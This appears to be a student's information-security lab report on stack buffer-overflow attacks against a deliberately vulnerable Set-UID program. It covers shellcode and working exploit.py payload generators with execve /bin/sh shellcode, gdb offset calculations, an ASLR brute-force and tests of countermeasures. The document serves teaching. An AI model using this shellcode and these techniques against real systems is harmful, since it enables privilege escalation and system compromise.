INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 1 : Getting familiar with shell code

In this task, we work with shellcode. In order to exploit the system stack, we make use of shellcode, which is primarily written in assembly language. The aim of this task is to run a /bin/sh shell using shellcode.

System address randomization is set to zero to ensure that the location where the stack starts is always kept the same. /bin/zsh does not have the counter-measure for this attack, and therefore we link our /bin/sh file to that.

```
PES1UG20CS280(Pavan)~$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
PES1UG20CS280(Pavan)~$sudo ln -sf /bin/zsh /bin/sh
PES1UG20CS280(Pavan)~$cd shellcode
PES1UG20CS280(Pavan)~$ls -l
total 8
-rw-rw-r-- 1 seed seed 653 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed 312 Dec 22  2020 Makefile
```

Once the two executables are made and executed, we see that two seed shells are returned to the user. The shellcode written executes a regular shell, by using the system's stack (stack in the memory).

```
PES1UG20CS280(Pavan)~$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
PES1UG20CS280(Pavan)~$./a32.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
$ exit
PES1UG20CS280(Pavan)~$./a64.out
```

```
PES1UG20CS280(Pavan)~$./a64.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),
$ ls -l
total 24
-rw-rw-r-- 1 seed seed  312 Dec 22  2020 Makefile
-rwxrwxr-x 1 seed seed 7392 Feb  3 22:54 a32.out
-rwxrwxr-x 1 seed seed 7392 Feb  3 22:54 a64.out
-rw-rw-r-- 1 seed seed  653 Dec 22  2020 call_shellcode.c
$ exit
PES1UG20CS280(Pavan)~$
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 2: Understanding the vulnerable program

Stack.c is the code that contains the vulnerability. The bof function takes a string argument and uses the strcpy() command to copy the contents of the string into the buffer that has been created in the function. The size of the buffer is 100, and therefore, on the stack, 100 bytes of contiguous space is allocated to the buffer variable in the bof() function.

The subsequent return address for the bof() function (back to main() function) is stored 12 bytes ahead of the buffer end on the stack. Normally, when the size of the string copied into the buffer is <=100 bytes/characters (100 in our case as buffer size is 100), the buffer gets the copied string, and the control returns back to the main function via the return address after bof() has completed its execution.

When the string copied into the buffer exceeds that of the specified amount, then the string contents overflow and rewrite those sections of the stack that are not reserved for them. If the return address value gets overwritten with junk, then control never returns back to the main() function and Segmentation faults are generated.

Attackers however use this vulnerability to their advantage. They inject the return address of some malicious code that they intend to run, 12 bytes after the end of the buffer on the stack.

So when bof() (in our case the function is bof) completes its execution, its control returns back to some malicious code that is also stored on the stack. This malicious code starts running and the attacker is successful in carrying out the buffer overflow attack .

In the source code, stack.c , special care has been taken to separate the main() frames from the bof() frames (by a large amount → 1000 frames). This is done to ensure that, when there is a buffer overflow, only the contents of the bof() function are overwritten (and not those in main()).

The make file generates four versions of the same stack source code, with different buffer sizes. The first two L1 and L2 are dealt with, in this lab.

```
PES1UG20CS280(Pavan)~$make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 3 : Launching attack on a 32-bit program (Level 1)

In this task, we use a debugging tool gdb to obtain the locations of the various pointers on the stack. The values obtained are merely virtual indications of where these variables/ commands are stored in the memory during actual execution.

Badfile is created and the contents of it are filled by the exploit.py program.

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80").encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)              # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xbfffe3cc         # OXBFFFE2AC + OX120 = 0XBFFFE3CC
offset = 112           # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

The contents of this badfile are basically going to be copied onto the buffer. Owing to the fact that the file is larger than the buffer, the contents of this file will rewrite certain stack frames of bof().

The file is initially filled with 0x90 or NOPS. Once completed, the shell code is rewritten somewhere inside the payload. This shellcode is our malicious code (root privilege shell).

12 bytes after the end of the buffer, we have to inject the return address (the return address must point to our shellcode payload). Therefore, the return address must be obtained and filled accordingly. In this task, we know that the buffer size is 100 bytes, so the offset/location where the return address must be placed is 112 bytes from the beginning of the buffer.

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280

6th Semester E section

```
PES1UG20CS280(Pavan)~$touch badfile
PES1UG20CS280(Pavan)~$gdb stack-L1-dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-L1-dbg...done.
```

We insert a breakpoint at the bof() function using the b bof command

```
gdb-peda$  b bof
Breakpoint 1 at 0x80485a1: file stack.c, line 20.
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/code/stack-L1-dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Input size: 0
```

The run command displays the results shown below-

```
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe338 --> 0x0
EBX: 0x0
ECX: 0x60 ('`')
EDX: 0xbfffe720 --> 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffe318 --> 0xbfffe728 --> 0xbfffe958 --> 0x0
ESP: 0xbfffe2a0 --> 0x804a02c --> 0xb7e8f300 (<__memset_sse2>:  push   ebx)
EIP: 0x80485a1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804859b <bof>:     push   ebp
   0x804859c <bof+1>:   mov    ebp,esp
   0x804859e <bof+3>:   sub    esp,0x78
=> 0x80485a1 <bof+6>:   sub    esp,0x8
   0x80485a4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80485a7 <bof+12>:  lea    eax,[ebp-0x6c]
   0x80485aa <bof+15>:  push   eax
   0x80485ab <bof+16>:  call   0x8048440 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffe2a0 --> 0x804a02c --> 0xb7e8f300 (<__memset_sse2>: push   ebx)
0004| 0xbfffe2a4 --> 0xb7fe97a2 (<_dl_fixup+194>:       mov    edi,eax)
0008| 0xbfffe2a8 --> 0xb7fffad0 --> 0xb7fffa74 --> 0xb7bb834c --> 0xb7fff918 --> 0x0
0012| 0xbfffe2ac --> 0xb7bb8398 --> 0x8048320 ("GLIBC_2.0")
0016| 0xbfffe2b0 --> 0x1
0020| 0xbfffe2b4 --> 0x1
0024| 0xbfffe2b8 --> 0x0
0028| 0xbfffe2bc --> 0xb7f1cd60 --> 0xfbad2a84
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffe743 "\267t)\222\bB\003") at stack.c:20
20          strcpy(buffer, str);
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

The next command displays the results shown below-

```
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe2ac --> 0x922974b7
EBX: 0x0
ECX: 0xbfffe743 --> 0x922974b7
EDX: 0xbfffe2ac --> 0x922974b7
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffe318 --> 0xbfffe728 --> 0xbfffe958 --> 0x0
ESP: 0xbfffe2a0 --> 0x804a02c --> 0xb7e8f300 (<__memset_sse2>:  push   ebx)
EIP: 0x80485b3 (<bof+24>:       mov    eax,0x1)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485aa <bof+15>:  push   eax
   0x80485ab <bof+16>:  call   0x8048440 <strcpy@plt>
   0x80485b0 <bof+21>:  add    esp,0x10
=> 0x80485b3 <bof+24>:  mov    eax,0x1
   0x80485b8 <bof+29>:  leave
   0x80485b9 <bof+30>:  ret
   0x80485ba <main>:    lea    ecx,[esp+0x4]
   0x80485be <main+4>:  and    esp,0xfffffff0
[------------------------------------stack-------------------------------------]
0000| 0xbfffe2a0 --> 0x804a02c --> 0xb7e8f300 (<__memset_sse2>: push   ebx)
0004| 0xbfffe2a4 --> 0xb7fe97a2 (<_dl_fixup+194>:       mov    edi,eax)
0008| 0xbfffe2a8 --> 0xb7fffad0 --> 0xb7fffa74 --> 0xb7bb834c --> 0xb7fff918 --> 0x0
0012| 0xbfffe2ac --> 0x922974b7
0016| 0xbfffe2b0 --> 0x34208
0020| 0xbfffe2b4 --> 0x1
0024| 0xbfffe2b8 --> 0x0
0028| 0xbfffe2bc --> 0xb7f1cd60 --> 0xfbad2a84
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
22          return 1;
gdb-peda$
```

The ebp pointer value is displayed when we use the p $ebp command. 4 bytes ahead of its location , the return address is stored.

The p &buffer pointer prints the pointer's address that is pointing to the beginning of the buffer.

When we obtain the difference between the two pointer positions, we find that the distance is 108 bytes. So, in order to alter the contents of the return address, we must fill NOPS for 112(108+4) bytes. The return address frame must hold a value that points to the beginning of the malicious root shellcode. This value is obtained by obtaining (p &buffer + 0x120).

0xbfffe2ac + 0x120 = 0xbfffe3cc .This return address is added to the code. The same is shown in the source code attached above.

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280

6th Semester E section

```
gdb-peda$ p $ebp
$4 = (void *) 0xbfffe318
gdb-peda$ p &buffer
$5 = (char (*)[100]) 0xbfffe2ac
gdb-peda$ p/d 0xbfffe318 - 0xbfffe2ac
$6 = 108
gdb-peda$ q
PES1UG20CS280(Pavan)~$
```

When exploit.py is executed, the badfile is first created. The size of the shell code is 27 bytes, the same is displayed below-

```
PES1UG20CS280(Pavan)~$chmod u+x exploit.py
PES1UG20CS280(Pavan)~$./exploit.py
27
PES1UG20CS280(Pavan)~$./stack-L1
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),3
#
```

When ./stack-L1 is executed, the root shell is obtained as seen above. The effective UID of the shell is root , therefore the shell obtained is a root shell (privileged shell to the seed user).

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 4 : Launching the attack without knowing the buffer size

In this task, the buffer size is unknown. The buffer size is estimated to lie b/w 100 and 200 bytes, but the exact size is not known.

This means that like the previous task, we cannot definitely predict what the offset (for the return address) from the base of the buffer will be. Therefore, we write a while loop in our exploit.py function.

What is definitely known is that the max. size of the buffer is 200, so the max offset is 200+12= 212.

Every subsequent memory location is 4 bytes away in this architecture, so the offset is incremented by 4 everytime inside the while loop. The return address must be obtained for this task too, which is why GDB debugger is needed again.

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80").encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)              # Change this number
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xbfffe390         # OXBFFFE270 + 0x120
offset = 112           # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
while offset<=212:
        content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
        offset=offset + 4
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

The old contents of the badfile are removed and recreated, as exploit.py now creates a new file with a new position for return address' storage.

```
# exit
PES1UG20CS280(Pavan)~$rm badfile
PES1UG20CS280(Pavan)~$touch badfile
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

The debugger is opened for stack-L2

```
PES1UG20CS280(Pavan)~$gdb stack-L2-dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-L2-dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80485a4: file stack.c, line 20.
```

The breakpoint is again placed at bof(). The run command displays the results shown below-

```
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe338 --> 0x0
EBX: 0x0
ECX: 0x60 ('`')
EDX: 0xbfffe720 --> 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffe318 --> 0xbfffe728 --> 0xbfffe958 --> 0x0
ESP: 0xbfffe270 --> 0x0
EIP: 0x80485a4 (<bof+9>:        sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804859b <bof>:     push   ebp
   0x804859c <bof+1>:   mov    ebp,esp
   0x804859e <bof+3>:   sub    esp,0xa8
=> 0x80485a4 <bof+9>:   sub    esp,0x8
   0x80485a7 <bof+12>:  push   DWORD PTR [ebp+0x8]
   0x80485aa <bof+15>:  lea    eax,[ebp-0xa8]
   0x80485b0 <bof+21>:  push   eax
   0x80485b1 <bof+22>:  call   0x8048440 <strcpy@plt>
[--------------------------------------stack-------------------------------------]
0000| 0xbfffe270 --> 0x0
0004| 0xbfffe274 --> 0x0
0008| 0xbfffe278 --> 0xa ('\n')
0012| 0xbfffe27c --> 0xbfffe6f0 --> 0x0
0016| 0xbfffe280 --> 0xb7dac680 (<_IO_vfprintf_internal+1472>:  cmp    BYTE PTR [ebp-0x47c],0x0)
0020| 0xbfffe284 --> 0x0
0024| 0xbfffe288 --> 0x0
0028| 0xbfffe28c --> 0x53e64
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffe743 "\267t)\222\bB\003") at stack.c:20
20          strcpy(buffer, str);
gdb-peda$
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280

6th Semester E section

Next displays the contents shown below-

```
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe270 --> 0x922974b7
EBX: 0x0
ECX: 0xbfffe743 --> 0x922974b7
EDX: 0xbfffe270 --> 0x922974b7
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffe318 --> 0xbfffe728 --> 0xbfffe958 --> 0x0
ESP: 0xbfffe270 --> 0x922974b7
EIP: 0x80485b9 (<bof+30>:       mov    eax,0x1)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485b0 <bof+21>:  push   eax
   0x80485b1 <bof+22>:  call   0x8048440 <strcpy@plt>
   0x80485b6 <bof+27>:  add    esp,0x10
=> 0x80485b9 <bof+30>:  mov    eax,0x1
   0x80485be <bof+35>:  leave
   0x80485bf <bof+36>:  ret
   0x80485c0 <main>:    lea    ecx,[esp+0x4]
   0x80485c4 <main+4>:  and    esp,0xfffffff0
[-------------------------------------stack-------------------------------------]
0000| 0xbfffe270 --> 0x922974b7
0004| 0xbfffe274 --> 0x34208
0008| 0xbfffe278 --> 0xa ('\n')
0012| 0xbfffe27c --> 0xbfffe6f0 --> 0x0
0016| 0xbfffe280 --> 0xb7dac680 (<_IO_vfprintf_internal+1472>:  cmp    BYTE PTR [ebp-0x47c],0x0)
0020| 0xbfffe284 --> 0x0
0024| 0xbfffe288 --> 0x0
0028| 0xbfffe28c --> 0x53e64
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
22          return 1;
gdb-peda$
```

The corresponding location where the buffer starts is obtained using the command shown below-

```
gdb-peda$ p &buffer
$2 = (char (*)[160]) 0xbfffe270
gdb-peda$ q
```

The corresponding location where the malicious code is present is obtained by adding 0x120 to p &buffer value. The same is shown below-

```
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbfffe270+0x120)
'0xbfffe390'
>>>
```

The corresponding result is updated into the source code and executed.

A point to note is that when strcpy() is copying, it stops the copy when it encounters a \0, considering it to be the end of a string. \0 as a byte is signified by 0000 0000 or 0x00. This indicates that if the address space has an entire byte as 0, then it stops the copy behavior.

The last byte obtained above is 0x70, and not 0x00, which is why the value obtained is valid and strcpy() will work normally.

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

The address obtained can be verified in another way-

```
PES1UG20CS280(10.0.2.5) -$python3
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" f
>>> hex(0x2ac - 0x270)
'0x3c'
>>> 0x2ac - 0x270
60
>>>
```

The start of the buffer in Task 3 was at location 0x2ac (initial 5 nibbles excluded as both addresses hold the same values).

The new buffer (in Task 4) is 160 bytes long (as seen in the debugger when p &buffer is printed). This means that the new buffer is 60 bytes longer than the previous one. The difference in the starting buffer addresses, as shown above is 60, indicating that the new buffer started 60 byte locations behind where the first buffer started (0x270 + 0X3C = 0X2AC)

When the same is executed, we see that stack-L2 also generates a root shell. This indicates that the exploit.py file brute-forced the size of the buffer (this was possible as the bounds of the buffer was known).

```
PES1UG20CS280(Pavan)~$chmod u+x exploit.py
PES1UG20CS280(Pavan)~$./exploit.py
27
PES1UG20CS280(Pavan)~$./stack-L2
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),
# ls -l
total 108
-rw-rw-r-- 1 seed seed   965 Dec 23  2020 Makefile
-rw-rw-r-- 1 seed seed   517 Feb  4 00:05 badfile
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-force.sh
-rwxrwxr-x 1 seed seed  1051 Feb  4 00:04 exploit.py
-rw-rw-r-- 1 seed seed    11 Feb  3 23:29 peda-session-stack-L1-dbg.txt
-rw-rw-r-- 1 seed seed    11 Feb  4 00:00 peda-session-stack-L2-dbg.txt
-rwsr-xr-x 1 root seed  7692 Feb  3 23:04 stack-L1
-rwxrwxr-x 1 seed seed 10192 Feb  3 23:04 stack-L1-dbg
-rwsr-xr-x 1 root seed  7692 Feb  3 23:59 stack-L2
-rwxrwxr-x 1 seed seed 10192 Feb  3 23:59 stack-L2-dbg
-rwsr-xr-x 1 root seed  7692 Feb  3 23:04 stack-L3
-rwxrwxr-x 1 seed seed 10188 Feb  3 23:04 stack-L3-dbg
-rwsr-xr-x 1 root seed  7692 Feb  3 23:04 stack-L4
-rwxrwxr-x 1 seed seed 10184 Feb  3 23:04 stack-L4-dbg
-rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack.c
# whoami
root
#
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Task 6 : Defeating Dash's counter measure

The dash shell contains a counter-measure that brings down the privilege of the calling process, by setting its EUID to its RUID, if it is a Set-UID program.

In this task, we understand the counter-measure and how we can work around it.

We re-link out /bin/sh to the /bin/dash file and then make our executables.

When we execute the two ./outs, we see that only a seed shell is returned to the user.

```
PES1UG20CS280(Pavan)~$sudo ln -sf /bin/dash /bin/sh
PES1UG20CS280(Pavan)~$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
PES1UG20CS280(Pavan)~$./a32.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom)
),46(plugdev),113(lpadmin),128(sambashare)
$ exit
PES1UG20CS280(Pavan)~$./a64.out
$ whoami
seed
$ exit
PES1UG20CS280(Pavan)~$
```

We can work around this counter-measure by using setuid(0). When the 'make setuid' command is called, the effective RID of the ./out files is changed to that of the root. Now, the RUID and EUID are both the same, so there is no privilege de-escalation. The resulting shells that are returned are but, root shells now, as seen below-

```
PES1UG20CS280(Pavan)~$make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
PES1UG20CS280(Pavan)~$./a32.out
# whoami
root
# exit
PES1UG20CS280(Pavan)~$./a64.out
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),
6(plugdev),113(lpadmin),128(sambashare)
# exit
PES1UG20CS280(Pavan)~$
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Similarly when we run ./stack-L1, which was previously a privileged Set-UID program (with the counter-measure on), we see that only a seed shell is returned to the user. Previously when the same task was executed without the counter-measure we obtained the root shell. The counter-measure de-escalated the Set-UID privilege from the root to seed, thereby returning only a seed shell.

```
PES1UG20CS280(Pavan)~$chmod u+x exploit-L1-6.py
PES1UG20CS280(Pavan)~$./stack-L1
Input size: 517
$  ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 173644 Feb 17  2016 /bin/dash
lrwxrwxrwx 1 root root      9 Feb  4 00:16 /bin/sh -> /bin/dash
lrwxrwxrwx 1 root root     21 Jul 25  2017 /bin/zsh -> /etc/alternatives/zsh
$ whoami
seed
$ exit
PES1UG20CS280(Pavan)~$
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 7 : Defeating address randomization

In this task, we set address randomization to 2, implying that the starting address of both the stack and the heap can be variable. Previously, we knew where the stack's starting point was, and therefore we were able to predict where the malicious code was situated, and what the return address was supposed to be.

Now however, we have randomized the beginning. This implies that the return address we have previously used will not give us the same result. This can be seen with the execution of stack-L1-

```
PES1UG20CS280(Pavan)~$sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
PES1UG20CS280(Pavan)~$rm badfile
PES1UG20CS280(Pavan)~$touch badfile
PES1UG20CS280(Pavan)~$./exploit.py
27
PES1UG20CS280(Pavan)~$./stack-L1
Input size: 517
Segmentation fault
PES1UG20CS280(Pavan)~$
```

The previous address – 0xbfffe3cc was not the correct place to fill the return address; this led to the actual return address frame being filled with some garbage (NOPs). Therefore, the result was a Seg fault.

In this subsequent next part of the task, we use a program called 'bruteforce.sh' to brute force the possible addresses that the stack can take. The 'bruteforce.sh' program keeps running until the right address has been obtained. The output below shows how the bruteforce program ran for 9288 times, in a timespan of 23s and finally stopped when the shell (our injected malicious code) was obtained.

```
./brute-force.sh: line 14: 12891 Segmentation fault      ./stack-L1
0 minutes and 23 seconds elapsed.
The program has been running 9284 times so far.
Input size: 517
./brute-force.sh: line 14: 12892 Segmentation fault      ./stack-L1
0 minutes and 23 seconds elapsed.
The program has been running 9285 times so far.
Input size: 517
./brute-force.sh: line 14: 12893 Segmentation fault      ./stack-L1
0 minutes and 23 seconds elapsed.
The program has been running 9286 times so far.
Input size: 517
./brute-force.sh: line 14: 12894 Segmentation fault      ./stack-L1
0 minutes and 23 seconds elapsed.
The program has been running 9287 times so far.
Input size: 517
./brute-force.sh: line 14: 12895 Segmentation fault      ./stack-L1
0 minutes and 23 seconds elapsed.
The program has been running 9288 times so far.
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```

INFORMATION SECURITY LAB 03

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 8 : Experimenting with other counter measures

Task 8.a : Turn on StackGuard protection

In this task, we enable stack protection and see if the malicious code is executed or not. In order to turn on stackguard protection, we have to remove the "-fno-stack-protector" `flag` and set the address randomization to 0 (i.e ensure that stack and heap both start at the same place each time).

StackGuard involves the declaration of a variable inside the bof() function called guard (which is by default set to secret). This variable is placed at some location with higher frame address than the buffer (that is just initialised).

If by the end of that function, the value of guard is same as it was before, then control is returned back to the function pointed by the return address. If not, then it is an implication that the guard value has been overwritten i.e., there has been a buffer overflow of some capacity.

In such a scenario, it results in hasty exit or termination, printing the message "stack smashing detected". The same can be seen below, when ./stack-L1 is executed.

```
PES1UG20CS280(Pavan)~$make
gcc -DBUF_SIZE=100 -z execstack  -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack  -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
PES1UG20CS280(Pavan)~$./stack-L1
Input size: 517
*** stack smashing detected ***: ./stack-L1 terminated
Aborted
PES1UG20CS280(Pavan)~$
```

Guard value was overwritten by the NOPS and this caused the match at the end to fail, leading to forced termination/abort.

Task 8.b : Turn on the non-executable stack protection

In this task, we switch on the non-executable stack protection by removing the '-z exectack' flag in the makefile. This removal ensures that the stack is not executable (to shellcode). Therefore, when the two executables are called, we see that the result generated is a Segmentation fault.

```
PES1UG20CS280(Pavan)~$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
PES1UG20CS280(Pavan)~$make
gcc -m32 -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
PES1UG20CS280(Pavan)~$./a32.out
Segmentation fault
PES1UG20CS280(Pavan)~$./a64.out
Segmentation fault
PES1UG20CS280(Pavan)~$
```